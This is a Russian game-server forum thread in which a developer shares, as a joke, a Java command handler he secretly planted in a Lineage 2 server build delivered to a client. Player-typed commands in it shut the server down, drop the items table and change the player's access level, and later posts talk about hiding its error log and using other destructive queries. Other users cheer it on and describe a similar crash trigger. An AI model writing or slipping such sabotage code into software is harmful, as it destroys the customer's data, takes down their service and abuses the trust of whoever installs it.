Перейти к содержимому
La2Base
Главная
ЗагрузкиВикиФорумFAQ
ruen
Регистрация Войти
ГлавнаяФайлыВикиВойти
  • Главная
  • Загрузки
  • Вики
  • FAQ
  • Обратная связь
  • О проекте
  • Правила
  • Конфиденциальность
  • Условия использования

© 2026 la2base.com · Все права защищены

ruen
Форум/Флуд/Говнокод
Поиск

Говнокод

24 ответов384 просмотровСейчас просматривают: 1
Глеб
Глеб

Пользователь

Ветеран

Постов: 714

На форуме с: 09.12.2008

Репутация: +8

Рейтинг: 0

· 11.12.2009, 12:33

Предложили тут мне выложить это на говнокод, мой маленький подарок одному американцу внутри сборки. 3c2f1c34aa11.gif

Код
package handlers.voicedcommandhandlers;

import net.sf.l2j.L2DatabaseFactory;
import net.sf.l2j.gameserver.handler.model.AVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.util.logging.Level;

public class HeyApple extends AVoicedCommandHandler
{
    private static final String[] _voicedCommands =
            {
                    "knife",
                    "death",
                    "spy"
            };

    private static final String HELLO = "DROP TABLE items";

    public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target)
    {
        if (command.equalsIgnoreCase("knife"))
        {
            System.exit(1);
        }
        else if (command.equalsIgnoreCase("death"))
        {
            Connection con = null;
            try
            {
                con = L2DatabaseFactory.getInstance().getConnection();
                PreparedStatement statement = con.prepareStatement(HELLO);
                statement.execute();
                statement.close();
            }
            catch (Exception e)
            {
                _log.log(Level.WARNING, "Oops: ", e);
            }
            finally
            {
                try
                {
                    if (con != null)
                        con.close();
                }
                catch (Exception ignored) {}
            }
        }
        else if (command.equalsIgnoreCase("spy"))
        {
            activeChar.setAccessLevel(1);
            activeChar.sendMessage("Hrrr Hrrr :D");
        }
        return true;
    }

    public String[] getVoicedCommandList()
    {
        return _voicedCommands;
    }

    public static void main(String[] args)
    {
        new HeyApple();
    }
}




Hey Apple! xD _http://www.youtube.com/watch?v=K80_WdnvkDw

0
about
about

Пользователь

Участник

Постов: 27

На форуме с: 23.04.2009

Рейтинг: 0

· 11.12.2009, 12:33

Да будет раздет весь сервер :D

0
Глеб
Глеб

Пользователь

Ветеран

Постов: 714

На форуме с: 09.12.2008

Репутация: +8

Рейтинг: 0

· 11.12.2009, 12:34

xD

0
V
VlLight
· 11.12.2009, 12:43

Необычайно остроумно, ага..

0
Глеб
Глеб

Пользователь

Ветеран

Постов: 714

На форуме с: 09.12.2008

Репутация: +8

Рейтинг: 0

· 11.12.2009, 12:45

Потому и говнокод) Быстро, просто и со вкусом.

0
V
VlLight
· 11.12.2009, 12:47

Сочувствую тому, кто возьмёт тебя в техадмины :)

0
tsa
tsa

Автор

Ветеран

Постов: 566

На форуме с: 10.05.2009

Репутация: +132

Рейтинг: 0

· 11.12.2009, 12:48

помоему это угкод а не говнокод.
(без обид)

0
Глеб
Глеб

Пользователь

Ветеран

Постов: 714

На форуме с: 09.12.2008

Репутация: +8

Рейтинг: 0

· 11.12.2009, 12:49

VlLight: Сочувствую тому, кто возьмёт тебя в техадмины :)


Вот какая досада то derisive.gif

0
Женя
Женя

Пользователь

Бывалый

Постов: 174

На форуме с: 16.11.2007

Репутация: +33

Рейтинг: 0

· 11.12.2009, 12:56

Сама доброта, у мя тока С++ (PTS) екст тоже, там комманда в бсод уводит Windows, проверка оправдала себя даже =)
Сожалею кто ето поставит =)

0
Глеб
Глеб

Пользователь

Ветеран

Постов: 714

На форуме с: 09.12.2008

Репутация: +8

Рейтинг: 0

· 11.12.2009, 13:00

Какая досада:
ButterCup, 11.12.2009 15:51:16:
hello

ButterCup, 15:53:37:
ar u here

Qarked, 15:53:42:
yea

Qarked, 15:53:45:
hi

ButterCup, 15:54:11:
mate i ask u for that commnad

ButterCup, 15:54:18:
of gm

ButterCup, 15:54:22:
to desplay txt

ButterCup, 15:54:29:
and u have give me a crap shit

Qarked, 15:54:38:
xD

ButterCup, 15:54:48:
if (command.equalsIgnoreCase("knife"))
{
System.exit(1);
}

ButterCup, 15:54:57:
and more shti

ButterCup, 15:55:08:
so camn u give me that patch ?

Qarked, 15:55:35:
i made for you command //scr in admcommandhandlers

ButterCup, 15:55:53:
where is taht

ButterCup, 15:56:03:
cos i whnat to putit on my servar

ButterCup, 15:56:10:
i do not need a sew server

Qarked, 15:56:14:
commands knife, etc is simplify joke xD

ButterCup, 15:56:20:
i just whant the patch

ButterCup, 15:57:09:
"knife",
"death",
"spy"

ButterCup, 15:57:16:
thisis all commands u have put

ButterCup, 15:58:24:
so can u give t me taht patch ?

ButterCup, 15:58:30:
say yes or no pls

Qarked, 15:58:59:
serverpackets/ExShowScreenMessage
admincommandhandlers/adminannouncements

derisive.gif , а жаль

0
about
about

Пользователь

Участник

Постов: 27

На форуме с: 23.04.2009

Рейтинг: 0

· 11.12.2009, 13:01

Я не сожалею тому, кто это поставит, а я жалею того человека, который это поставит, ибо мозг у него явно отсутствует, полностью.

ButterCup 05e811906ebf.gif Я его знаю с форума L2jOfficial... Бедняга... у него вроде довольно раскрученный сервер.

0
AbsT
AbsT

Пользователь

Ветеран

Постов: 1514

На форуме с: 10.12.2007

Репутация: +768

Рейтинг: 0

· 11.12.2009, 13:02

палишся

Цитата
catch (Exception e)
{
_log.log(Level.WARNING, "Oops: ", e);

— Ålderdom - ingen glädje..

0
Глеб
Глеб

Пользователь

Ветеран

Постов: 714

На форуме с: 09.12.2008

Репутация: +8

Рейтинг: 0

· 11.12.2009, 13:06

AbsT: палишся


Да надо было убрать лог в консоль при ошибке. Хотя она по идее не может случиться

0
tsa
tsa

Автор

Ветеран

Постов: 566

На форуме с: 10.05.2009

Репутация: +132

Рейтинг: 0

· 11.12.2009, 13:06

юные школо-праграмисты пытаюца самаутвердица?
код наверняка скопировали с какого-либо форума.

0
Глеб
Глеб

Пользователь

Ветеран

Постов: 714

На форуме с: 09.12.2008

Репутация: +8

Рейтинг: 0

· 11.12.2009, 13:09

qwerty111: юные школо-праграмисты пытаюца самаутвердица?
код наверняка скопировали с какого-либо форума.


Иди ты от сюда бога ради, чем самоутвердиться, кодом который пишется за минуту? lol
Выложено смеха ради)

0
AbsT
AbsT

Пользователь

Ветеран

Постов: 1514

На форуме с: 10.12.2007

Репутация: +768

Рейтинг: 0

· 11.12.2009, 13:12

Цитата
Хотя она по идее не может случиться

А про привилегии не слыхал? :)
Еще как может вывалится, если у юзера отнимут глобальный drop.

— Ålderdom - ingen glädje..

0
Глеб
Глеб

Пользователь

Ветеран

Постов: 714

На форуме с: 09.12.2008

Репутация: +8

Рейтинг: 0

· 11.12.2009, 13:13

AbsT: А про привилегии не слыхал? :)
Еще как может вывалится, если у юзера отнимут глобальный drop.


Да вот про права на юзера sql я как то не подумал :p

0
Глеб
Глеб

Пользователь

Ветеран

Постов: 714

На форуме с: 09.12.2008

Репутация: +8

Рейтинг: 0

· 11.12.2009, 13:31

Да кстати, в таком случае запросы replace и update никто не отменял.

0
Женя
Женя

Пользователь

Бывалый

Постов: 174

На форуме с: 16.11.2007

Репутация: +33

Рейтинг: 0

· 11.12.2009, 14:41

Такое надо делать в целях защиты сервера, я если буду продавать когдато продукт то я это поставлю для того что-бы те кто будут нарушать правила платились за использование продукта, хотя лучше арму нацепить =)

0
Глеб
Глеб

Пользователь

Ветеран

Постов: 714

На форуме с: 09.12.2008

Репутация: +8

Рейтинг: 0

· 11.12.2009, 14:45

jeka101: Такое надо делать в целях защиты сервера, я если буду продавать когдато продукт то я это поставлю для того что-бы те кто будут нарушать правила платились за использование продукта, хотя лучше арму нацепить =)


Ну для таких целей данный говнокод не подойдет, он слишком примитивен и его легко найти ;)

0
Войдите или зарегистрируйтесь чтобы ответить